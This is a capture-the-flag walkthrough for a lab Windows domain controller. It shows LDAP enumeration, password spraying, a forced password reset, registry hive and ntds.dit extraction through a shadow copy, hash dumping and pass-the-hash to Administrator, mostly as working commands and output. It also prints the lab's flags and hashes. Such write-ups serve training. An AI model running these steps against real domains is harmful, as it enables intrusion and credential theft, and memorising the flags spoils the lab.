Introduction:

Baby is a Windows machine running Active Directory featuring a Domain Controller exposed with LDAP, SMB, and WinRM services.


Initial enumeration via an anonymous LDAP bind reveals a full list of domain users, including a description field on Teresa.Bell containing a default onboarding password. Password spraying the discovered credential against all enumerated users reveals that Caroline.Robinson has the same default password set with a forced reset on next logon. Using smbpasswd to change the password grants access via Evil-WinRM, where the user flag is retrieved.


Privilege escalation leverages Caroline.Robinson’s membership in the Backup Operators group, which grants SeBackupPrivilege and SeRestorePrivilege. A VSS shadow copy of the C: drive is created using diskshadow, and robocopy with the /b (backup) flag is used to extract ntds.dit alongside the SYSTEM registry hive. Running impacket-secretsdump against the offline files dumps all domain credential hashes, including the Administrator’s NT hash. A Pass-the-Hash attack via Evil-WinRM grants a shell as Administrator and access to the root flag.

Reconnaissance:

We start with a nmap scan.

Nmap scan:

 1┌──(ballademageren㉿PC-101)-[~/htb/labs/machines/Baby]
 2└─$ ports=$(nmap -p- --min-rate=1000 -T4 10.129.32.227 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
 3
 4┌──(ballademageren㉿PC-101)-[~/htb/labs/machines/Baby]
 5└─$ nmap -p$ports -sV -sC 10.129.32.227
 6Starting Nmap 7.99 ( https://nmap.org ) at 2026-05-10 11:39 +0200
 7Nmap scan report for 10.129.32.227
 8Host is up (0.10s latency).
 9
10PORT      STATE SERVICE       VERSION
1153/tcp    open  domain        Simple DNS Plus
1288/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2026-05-10 09:39:58Z)
13135/tcp   open  msrpc         Microsoft Windows RPC
14139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
15389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: baby.vl, Site: Default-First-Site-Name)
16445/tcp   open  microsoft-ds?
17464/tcp   open  kpasswd5?
18593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
19636/tcp   open  tcpwrapped
203268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: baby.vl, Site: Default-First-Site-Name)
213269/tcp  open  tcpwrapped
223389/tcp  open  ms-wbt-server Microsoft Terminal Services
23| ssl-cert: Subject: commonName=BabyDC.baby.vl
24| Not valid before: 2026-05-09T09:34:16
25|_Not valid after:  2026-11-08T09:34:16
26| rdp-ntlm-info: 
27|   Target_Name: BABY
28|   NetBIOS_Domain_Name: BABY
29|   NetBIOS_Computer_Name: BABYDC
30|   DNS_Domain_Name: baby.vl
31|   DNS_Computer_Name: BabyDC.baby.vl
32|   DNS_Tree_Name: baby.vl
33|   Product_Version: 10.0.20348
34|_  System_Time: 2026-05-10T09:40:47+00:00
35|_ssl-date: 2026-05-10T09:41:27+00:00; 0s from scanner time.
365985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
37|_http-title: Not Found
38|_http-server-header: Microsoft-HTTPAPI/2.0
399389/tcp  open  mc-nmf        .NET Message Framing
4049664/tcp open  msrpc         Microsoft Windows RPC
4149668/tcp open  msrpc         Microsoft Windows RPC
4260402/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
4360403/tcp open  msrpc         Microsoft Windows RPC
4460412/tcp open  msrpc         Microsoft Windows RPC
4562143/tcp open  msrpc         Microsoft Windows RPC
4662155/tcp open  msrpc         Microsoft Windows RPC
47Service Info: Host: BABYDC; OS: Windows; CPE: cpe:/o:microsoft:windows
48
49Host script results:
50| smb2-security-mode: 
51|   3.1.1: 
52|_    Message signing enabled and required
53| smb2-time: 
54|   date: 2026-05-10T09:40:48
55|_  start_date: N/A
56
57Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
58Nmap done: 1 IP address (1 host up) scanned in 101.20 seconds
59
60┌──(ballademageren㉿PC-101)-[~/htb/labs/machines/Baby]
61└─$ 

Okay first of all we can see that we are dealing with a domain controller (DC) called BABYDC in a domain called BABY. The Product_Version: 10.0.20348 can be mapped to Windows 2022 Build 20348. We can also see that it runs with LDAP, Kerberos, SMB, RDP and WinRM. SMB requires signing so relay attacks wont work.

Enumeration:

Lets see if we can get some user information.

LDAPSearch:

 1┌──(ballademageren㉿PC-101)-[~/htb/labs/machines/Baby]
 2└─$ ldapsearch -x -H ldap://baby.vl -b "DC=baby,DC=vl" -s sub "(objectClass=person)" sAMAccountName description
 3# extended LDIF
 4#
 5# LDAPv3
 6# base <DC=baby,DC=vl> with scope subtree
 7# filter: (objectClass=person)
 8# requesting: sAMAccountName description 
 9#
10
11# Guest, Users, baby.vl
12dn: CN=Guest,CN=Users,DC=baby,DC=vl
13description: Built-in account for guest access to the computer/domain
14sAMAccountName: Guest
15
16# Jacqueline Barnett, dev, baby.vl
17dn: CN=Jacqueline Barnett,OU=dev,DC=baby,DC=vl
18sAMAccountName: Jacqueline.Barnett
19
20# Ashley Webb, dev, baby.vl
21dn: CN=Ashley Webb,OU=dev,DC=baby,DC=vl
22sAMAccountName: Ashley.Webb
23
24# Hugh George, dev, baby.vl
25dn: CN=Hugh George,OU=dev,DC=baby,DC=vl
26sAMAccountName: Hugh.George
27
28# Leonard Dyer, dev, baby.vl
29dn: CN=Leonard Dyer,OU=dev,DC=baby,DC=vl
30sAMAccountName: Leonard.Dyer
31
32# Connor Wilkinson, it, baby.vl
33dn: CN=Connor Wilkinson,OU=it,DC=baby,DC=vl
34sAMAccountName: Connor.Wilkinson
35
36# Joseph Hughes, it, baby.vl
37dn: CN=Joseph Hughes,OU=it,DC=baby,DC=vl
38sAMAccountName: Joseph.Hughes
39
40# Kerry Wilson, it, baby.vl
41dn: CN=Kerry Wilson,OU=it,DC=baby,DC=vl
42sAMAccountName: Kerry.Wilson
43
44# Teresa Bell, it, baby.vl
45dn: CN=Teresa Bell,OU=it,DC=baby,DC=vl
46description: Set initial password to BabyStart123!
47sAMAccountName: Teresa.Bell
48
49# search reference
50ref: ldap://ForestDnsZones.baby.vl/DC=ForestDnsZones,DC=baby,DC=vl
51
52# search reference
53ref: ldap://DomainDnsZones.baby.vl/DC=DomainDnsZones,DC=baby,DC=vl
54
55# search reference
56ref: ldap://baby.vl/CN=Configuration,DC=baby,DC=vl
57
58# search result
59search: 2
60result: 0 Success
61
62# numResponses: 13
63# numEntries: 9
64# numReferences: 3
65
66┌──(ballademageren㉿PC-101)-[~/htb/labs/machines/Baby]
67└─$ 

Awesome it looks like somebody has a bad password policy regarding on-boarding new users, Teresa.Bell from IT may have a temporary password BabyStart123!.


I did try to test the password on Teresa.Bell with crackmapexec but it failed:

 1┌──(ballademageren㉿PC-101)-[~/htb/labs/machines/Baby]
 2└─$ crackmapexec smb baby.vl -u Teresa.Bell -p 'BabyStart123!'
 3[*] First time use detected
 4[*] Creating home directory structure
 5[*] Creating default workspace
 6[*] Initializing SMB protocol database
 7[*] Initializing WINRM protocol database
 8[*] Initializing LDAP protocol database
 9[*] Initializing FTP protocol database
10[*] Initializing RDP protocol database
11[*] Initializing SSH protocol database
12[*] Initializing MSSQL protocol database
13[*] Copying default configuration file
14[*] Generating SSL certificate
15SMB         baby.vl         445    BABYDC           [*] Windows Server 2022 Build 20348 x64 (name:BABYDC) (domain:baby.vl) (signing:True) (SMBv1:False)
16SMB         baby.vl         445    BABYDC           [-] baby.vl\Teresa.Bell:BabyStart123! STATUS_LOGON_FAILURE 
17
18┌──(ballademageren㉿PC-101)-[~/htb/labs/machines/Baby]
19└─$

Lets do a password spray instead to see if any of the users in the domain has the password in use. But lets ensure that we have all the domain users first.


Use ldapsearch again but grep "dn" (Distinguished Name) this time:

 1┌──(ballademageren㉿PC-101)-[~/htb/labs/machines/Baby]
 2└─$ ldapsearch -x -H ldap://baby.vl -b "DC=baby,DC=vl" "*" | grep "dn:"                              
 3dn: DC=baby,DC=vl
 4dn: CN=Administrator,CN=Users,DC=baby,DC=vl
 5dn: CN=Guest,CN=Users,DC=baby,DC=vl
 6dn: CN=krbtgt,CN=Users,DC=baby,DC=vl
 7dn: CN=Domain Computers,CN=Users,DC=baby,DC=vl
 8dn: CN=Domain Controllers,CN=Users,DC=baby,DC=vl
 9dn: CN=Schema Admins,CN=Users,DC=baby,DC=vl
10dn: CN=Enterprise Admins,CN=Users,DC=baby,DC=vl
11dn: CN=Cert Publishers,CN=Users,DC=baby,DC=vl
12dn: CN=Domain Admins,CN=Users,DC=baby,DC=vl
13dn: CN=Domain Users,CN=Users,DC=baby,DC=vl
14dn: CN=Domain Guests,CN=Users,DC=baby,DC=vl
15dn: CN=Group Policy Creator Owners,CN=Users,DC=baby,DC=vl
16dn: CN=RAS and IAS Servers,CN=Users,DC=baby,DC=vl
17dn: CN=Allowed RODC Password Replication Group,CN=Users,DC=baby,DC=vl
18dn: CN=Denied RODC Password Replication Group,CN=Users,DC=baby,DC=vl
19dn: CN=Read-only Domain Controllers,CN=Users,DC=baby,DC=vl
20dn: CN=Enterprise Read-only Domain Controllers,CN=Users,DC=baby,DC=vl
21dn: CN=Cloneable Domain Controllers,CN=Users,DC=baby,DC=vl
22dn: CN=Protected Users,CN=Users,DC=baby,DC=vl
23dn: CN=Key Admins,CN=Users,DC=baby,DC=vl
24dn: CN=Enterprise Key Admins,CN=Users,DC=baby,DC=vl
25dn: CN=DnsAdmins,CN=Users,DC=baby,DC=vl
26dn: CN=DnsUpdateProxy,CN=Users,DC=baby,DC=vl
27dn: CN=dev,CN=Users,DC=baby,DC=vl
28dn: CN=Jacqueline Barnett,OU=dev,DC=baby,DC=vl
29dn: CN=Ashley Webb,OU=dev,DC=baby,DC=vl
30dn: CN=Hugh George,OU=dev,DC=baby,DC=vl
31dn: CN=Leonard Dyer,OU=dev,DC=baby,DC=vl
32dn: CN=Ian Walker,OU=dev,DC=baby,DC=vl
33dn: CN=it,CN=Users,DC=baby,DC=vl
34dn: CN=Connor Wilkinson,OU=it,DC=baby,DC=vl
35dn: CN=Joseph Hughes,OU=it,DC=baby,DC=vl
36dn: CN=Kerry Wilson,OU=it,DC=baby,DC=vl
37dn: CN=Teresa Bell,OU=it,DC=baby,DC=vl
38dn: CN=Caroline Robinson,OU=it,DC=baby,DC=vl
39
40┌──(ballademageren㉿PC-101)-[~/htb/labs/machines/Baby]
41└─$ 

Looks like we missed Ian Walker and Caroline Robinson.

Exploitation:

Now create a file with the users it should look like this:

 1┌──(ballademageren㉿PC-101)-[~/htb/labs/machines/Baby]
 2└─$ cat users.txt                                             
 3Jacqueline.Barnett
 4Ashley.Webb
 5Hugh.George
 6Leonard.Dyer
 7Ian.Walker
 8Connor.Wilkinson
 9Joseph.Hughes
10Kerry.Wilson
11Caroline.Robinson                                                                                    
12┌──(ballademageren㉿PC-101)-[~/htb/labs/machines/Baby]
13└─$ 

Use crackmapexec to do a password spray:

 1┌──(ballademageren㉿PC-101)-[~/htb/labs/machines/Baby]
 2└─$ crackmapexec smb baby.vl -u users.txt -p 'BabyStart123!' --continue-on-success
 3SMB         baby.vl         445    BABYDC           [*] Windows Server 2022 Build 20348 x64 (name:BABYDC) (domain:baby.vl) (signing:True) (SMBv1:False)
 4SMB         baby.vl         445    BABYDC           [-] baby.vl\Jacqueline.Barnett:BabyStart123! STATUS_LOGON_FAILURE 
 5SMB         baby.vl         445    BABYDC           [-] baby.vl\Ashley.Webb:BabyStart123! STATUS_LOGON_FAILURE 
 6SMB         baby.vl         445    BABYDC           [-] baby.vl\Hugh.George:BabyStart123! STATUS_LOGON_FAILURE 
 7SMB         baby.vl         445    BABYDC           [-] baby.vl\Leonard.Dyer:BabyStart123! STATUS_LOGON_FAILURE 
 8SMB         baby.vl         445    BABYDC           [-] baby.vl\Ian.Walker:BabyStart123! STATUS_LOGON_FAILURE 
 9SMB         baby.vl         445    BABYDC           [-] baby.vl\Connor.Wilkinson:BabyStart123! STATUS_LOGON_FAILURE 
10SMB         baby.vl         445    BABYDC           [-] baby.vl\Joseph.Hughes:BabyStart123! STATUS_LOGON_FAILURE 
11SMB         baby.vl         445    BABYDC           [-] baby.vl\Kerry.Wilson:BabyStart123! STATUS_LOGON_FAILURE 
12SMB         baby.vl         445    BABYDC           [-] baby.vl\Caroline.Robinson:BabyStart123! STATUS_PASSWORD_MUST_CHANGE 
13
14┌──(ballademageren㉿PC-101)-[~/htb/labs/machines/Baby]
15└─$ 

Okay it looks like we need to help Caroline change her password.

Lets change it from Caroline.Robinson:BabyStart123! to Caroline.Robinson:BabyStart456!.


Use smbpasswd to change the password:

1┌──(ballademageren㉿PC-101)-[~/htb/labs/machines/Baby]
2└─$ smbpasswd -r baby.vl -U Caroline.Robinson
3Old SMB password:
4New SMB password:
5Retype new SMB password:
6Password changed for user Caroline.Robinson
7
8┌──(ballademageren㉿PC-101)-[~/htb/labs/machines/Baby]
9└─$ 

Now lets try to get a foothold with evil-winrm:

 1┌──(ballademageren㉿PC-101)-[~/htb/labs/machines/Baby]
 2└─$ evil-winrm -i baby.vl -u Caroline.Robinson -p 'BabyStart456!'
 3
 4Evil-WinRM shell v3.9
 5
 6Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline
 7
 8Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
 9
10Info: Establishing connection to remote endpoint
11*Evil-WinRM* PS C:\Users\Caroline.Robinson\Documents>

Post-Exploitation:

Get the user flag to begin with:

 1*Evil-WinRM* PS C:\Users\Caroline.Robinson\Documents> cd ../Desktop/
 2*Evil-WinRM* PS C:\Users\Caroline.Robinson\Desktop> dir
 3
 4
 5    Directory: C:\Users\Caroline.Robinson\Desktop
 6
 7
 8Mode                 LastWriteTime         Length Name
 9----                 -------------         ------ ----
10-ar---         5/10/2026   9:35 AM             34 user.txt
11
12
13*Evil-WinRM* PS C:\Users\Caroline.Robinson\Desktop> cat user.txt
1464e2263af27c985faad988062690648d
15*Evil-WinRM* PS C:\Users\Caroline.Robinson\Desktop>

Enumerating as Caroline.Robinson:

Check what privileges we have and what groups we are members of:

 1*Evil-WinRM* PS C:\Users\Caroline.Robinson\Desktop> whoami /all
 2
 3USER INFORMATION
 4----------------
 5
 6User Name              SID
 7====================== ==============================================
 8baby\caroline.robinson S-1-5-21-1407081343-4001094062-1444647654-1115
 9
10
11GROUP INFORMATION
12-----------------
13
14Group Name                                 Type             SID                                            Attributes
15========================================== ================ ============================================== ==================================================
16Everyone                                   Well-known group S-1-1-0                                        Mandatory group, Enabled by default, Enabled group
17BUILTIN\Backup Operators                   Alias            S-1-5-32-551                                   Mandatory group, Enabled by default, Enabled group
18BUILTIN\Users                              Alias            S-1-5-32-545                                   Mandatory group, Enabled by default, Enabled group
19BUILTIN\Pre-Windows 2000 Compatible Access Alias            S-1-5-32-554                                   Mandatory group, Enabled by default, Enabled group
20BUILTIN\Remote Management Users            Alias            S-1-5-32-580                                   Mandatory group, Enabled by default, Enabled group
21NT AUTHORITY\NETWORK                       Well-known group S-1-5-2                                        Mandatory group, Enabled by default, Enabled group
22NT AUTHORITY\Authenticated Users           Well-known group S-1-5-11                                       Mandatory group, Enabled by default, Enabled group
23NT AUTHORITY\This Organization             Well-known group S-1-5-15                                       Mandatory group, Enabled by default, Enabled group
24BABY\it                                    Group            S-1-5-21-1407081343-4001094062-1444647654-1109 Mandatory group, Enabled by default, Enabled group
25NT AUTHORITY\NTLM Authentication           Well-known group S-1-5-64-10                                    Mandatory group, Enabled by default, Enabled group
26Mandatory Label\High Mandatory Level       Label            S-1-16-12288
27
28
29PRIVILEGES INFORMATION
30----------------------
31
32Privilege Name                Description                    State
33============================= ============================== =======
34SeMachineAccountPrivilege     Add workstations to domain     Enabled
35SeBackupPrivilege             Back up files and directories  Enabled
36SeRestorePrivilege            Restore files and directories  Enabled
37SeShutdownPrivilege           Shut down the system           Enabled
38SeChangeNotifyPrivilege       Bypass traverse checking       Enabled
39SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
40
41
42USER CLAIMS INFORMATION
43-----------------------
44
45User claims unknown.
46
47Kerberos support for Dynamic Access Control on this device has been disabled.
48*Evil-WinRM* PS C:\Users\Caroline.Robinson\Desktop> 

Being member of the Backup Operators group gives one permission to read all files on the system including SAM and SYSTEM hives, were NTLM hashes hides.

Privilege Escalation:

Dump the SAM and SYSTEM hive:

 1*Evil-WinRM* PS C:\Users\Caroline.Robinson\Desktop> mkdir C:\Temp
 2
 3
 4    Directory: C:\
 5
 6
 7Mode                 LastWriteTime         Length Name
 8----                 -------------         ------ ----
 9d-----         5/10/2026   2:13 PM                Temp
10
11
12*Evil-WinRM* PS C:\Users\Caroline.Robinson\Desktop> reg save HKLM\SAM C:\Temp\SAM
13The operation completed successfully.
14
15*Evil-WinRM* PS C:\Users\Caroline.Robinson\Desktop> reg save HKLM\SYSTEM C:\Temp\SYSTEM
16The operation completed successfully.
17
18*Evil-WinRM* PS C:\Users\Caroline.Robinson\Desktop> cd C:\Temp
19*Evil-WinRM* PS C:\Temp> dir
20
21
22    Directory: C:\Temp
23
24
25Mode                 LastWriteTime         Length Name
26----                 -------------         ------ ----
27-a----         5/10/2026   2:13 PM          49152 SAM
28-a----         5/10/2026   2:13 PM       20676608 SYSTEM
29
30
31*Evil-WinRM* PS C:\Temp> download SAM
32 
33Info: Downloading C:\Temp\SAM to SAM
34  
35Info: Download successful!
36*Evil-WinRM* PS C:\Temp> download SYSTEM
37
38Info: Downloading C:\Temp\SYSTEM to SYSTEM
39
40Info: Download successful!
41*Evil-WinRM* PS C:\Temp> 

Extract the hashes with impacket:

 1┌──(ballademageren㉿PC-101)-[~/htb/labs/machines/Baby]
 2└─$ impacket-secretsdump -sam SAM -system SYSTEM LOCAL
 3Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies 
 4
 5[*] Target system bootKey: 0x191d5d3fd5b0b51888453de8541d7e88
 6[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
 7Administrator:500:aad3b435b51404eeaad3b435b51404ee:8d992faed38128ae85e95fa35868bb43:::
 8Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
 9DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
10[*] Cleaning up... 
11
12┌──(ballademageren㉿PC-101)-[~/htb/labs/machines/Baby]
13└─$ 

Pass-the-Hash as Administrator with evil-winrm:

 1┌──(ballademageren㉿PC-101)-[~/htb/labs/machines/Baby]
 2└─$ evil-winrm -i baby.vl -u Administrator -H 8d992faed38128ae85e95fa35868bb43
 3
 4Evil-WinRM shell v3.9
 5
 6Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline
 7
 8Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
 9
10Info: Establishing connection to remote endpoint
11*Evil-WinRM* PS C:\> whoami
12
13Error: An error of type WinRM::WinRMAuthorizationError happened, message is WinRM::WinRMAuthorizationError
14
15Error: Exiting with code 1
16
17┌──(ballademageren㉿PC-101)-[~/htb/labs/machines/Baby]
18└─$ 

That didn’t work because we using the local hashes. We need the domain hashes thats in the NT Directory Services Database or NTDS.dit file. The only problem is that even with SeBackUpPrivilege we cannot copy it because its locked. So we need to get creative.


We could use a shadow copy or diskshadow trick.


Make a diskshadow script that creates a persistent shadow copy of the C: drive and mount it to another drive letter and run it:

 1*Evil-WinRM* PS C:\Temp> $script = @(
 2    "set context persistent nowriters",
 3    "add volume c: alias pwn",
 4    "create",
 5    "expose %pwn% z:"
 6)
 7
 8*Evil-WinRM* PS C:\Temp> $script | Out-File -FilePath C:\Temp\shadow.txt -Encoding ASCII
 9
10*Evil-WinRM* PS C:\Temp> type C:\Temp\shadow.txt
11set context persistent nowriters
12add volume c: alias pwn
13create
14expose %pwn% z:
15
16*Evil-WinRM* PS C:\Temp> diskshadow /s C:\Temp\shadow.txt
17Microsoft DiskShadow version 1.0
18Copyright (C) 2013 Microsoft Corporation
19On computer:  BABYDC,  5/10/2026 3:08:19 PM
20
21-> set context persistent nowriters
22-> add volume c: alias pwn
23-> create
24Alias pwn for shadow ID {19dda347-1245-4248-96ac-c686f2069de0} set as environment variable.
25Alias VSS_SHADOW_SET for shadow set ID {a093e3b3-e50b-4a5b-b469-138b017a3d54} set as environment variable.
26
27Querying all shadow copies with the shadow copy set ID {a093e3b3-e50b-4a5b-b469-138b017a3d54}
28
29	* Shadow copy ID = {19dda347-1245-4248-96ac-c686f2069de0}		%pwn%
30		- Shadow copy set: {a093e3b3-e50b-4a5b-b469-138b017a3d54}	%VSS_SHADOW_SET%
31		- Original count of shadow copies = 1
32		- Original volume name: \\?\Volume{711fc68a-0000-0000-0000-100000000000}\ [C:\]
33		- Creation time: 5/10/2026 3:08:20 PM
34		- Shadow copy device name: \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1
35		- Originating machine: BabyDC.baby.vl
36		- Service machine: BabyDC.baby.vl
37		- Not exposed
38		- Provider ID: {b5946137-7b9f-4925-af80-51abd60b20d5}
39		- Attributes:  No_Auto_Release Persistent No_Writers Differential
40
41Number of shadow copies listed: 1
42-> expose %pwn% z:
43-> %pwn% = {19dda347-1245-4248-96ac-c686f2069de0}
44The shadow copy was successfully exposed as z:\.
45->
46
47*Evil-WinRM* PS C:\Temp>

Now lets use robocopy to copy the NTDS.dit file and then download it:

 1*Evil-WinRM* PS C:\Temp> robocopy /b z:\windows\ntds C:\Temp ntds.dit
 2
 3-------------------------------------------------------------------------------
 4   ROBOCOPY     ::     Robust File Copy for Windows
 5-------------------------------------------------------------------------------
 6
 7  Started : Sunday, May 10, 2026 3:09:55 PM
 8   Source : z:\windows\ntds\
 9     Dest : C:\Temp\
10
11    Files : ntds.dit
12
13  Options : /DCOPY:DA /COPY:DAT /B /R:1000000 /W:30
14
15------------------------------------------------------------------------------
16
17	                   1	z:\windows\ntds\
18	    New File  		  16.0 m	ntds.dit
19
20
21[...]
22
23------------------------------------------------------------------------------
24
25               Total    Copied   Skipped  Mismatch    FAILED    Extras
26    Dirs :         1         0         1         0         0         0
27   Files :         1         1         0         0         0         0
28   Bytes :   16.00 m   16.00 m         0         0         0         0
29   Times :   0:00:00   0:00:00                       0:00:00   0:00:00
30
31
32   Speed :           76,608,292 Bytes/sec.
33   Speed :            4,383.562 MegaBytes/min.
34   Ended : Sunday, May 10, 2026 3:09:55 PM
35
36*Evil-WinRM* PS C:\Temp> download ntds.dit
37
38Info: Downloading C:\Temp\ntds.dit to ntds.dit
39
40Info: Download successful!
41*Evil-WinRM* PS C:\Temp> 

Use impacket to dump the hashes:

 1┌──(ballademageren㉿PC-101)-[~/htb/labs/machines/Baby]
 2└─$ impacket-secretsdump -ntds ntds.dit -system SYSTEM LOCAL
 3Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies 
 4
 5[*] Target system bootKey: 0x191d5d3fd5b0b51888453de8541d7e88
 6[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
 7[*] Searching for pekList, be patient
 8[*] PEK # 0 found and decrypted: 41d56bf9b458d01951f592ee4ba00ea6
 9[*] Reading and decrypting hashes from ntds.dit 
10Administrator:500:aad3b435b51404eeaad3b435b51404ee:ee4457ae59f1e3fbd764e33d9cef123d:::
11
12[...]
13
14[*] Cleaning up... 
15
16┌──(ballademageren㉿PC-101)-[~/htb/labs/machines/Baby]
17└─$ 

Lets Pass-the-Hash as Administrator with evil-winrm:

 1┌──(ballademagerenPC-101)-[~/htb/labs/machines/Baby]
 2└─$ evil-winrm -i baby.vl -u Administrator -H ee4457ae59f1e3fbd764e33d9cef123d
 3
 4Evil-WinRM shell v3.9
 5
 6Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline
 7
 8Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
 9
10Info: Establishing connection to remote endpoint
11*Evil-WinRM* PS C:\Users\Administrator\Documents>

Get the Root flag!:

 1*Evil-WinRM* PS C:\Users\Administrator\Documents> cd ../Desktop/
 2*Evil-WinRM* PS C:\Users\Administrator\Desktop> dir
 3
 4
 5    Directory: C:\Users\Administrator\Desktop
 6
 7
 8Mode                 LastWriteTime         Length Name
 9----                 -------------         ------ ----
10-ar---         5/10/2026   9:35 AM             34 root.txt
11
12
13*Evil-WinRM* PS C:\Users\Administrator\Desktop> type root.txt
14bfdf51fde2ff6157fb19f68e6391572f
15*Evil-WinRM* PS C:\Users\Administrator\Desktop> 

Completion:

Baby_Completion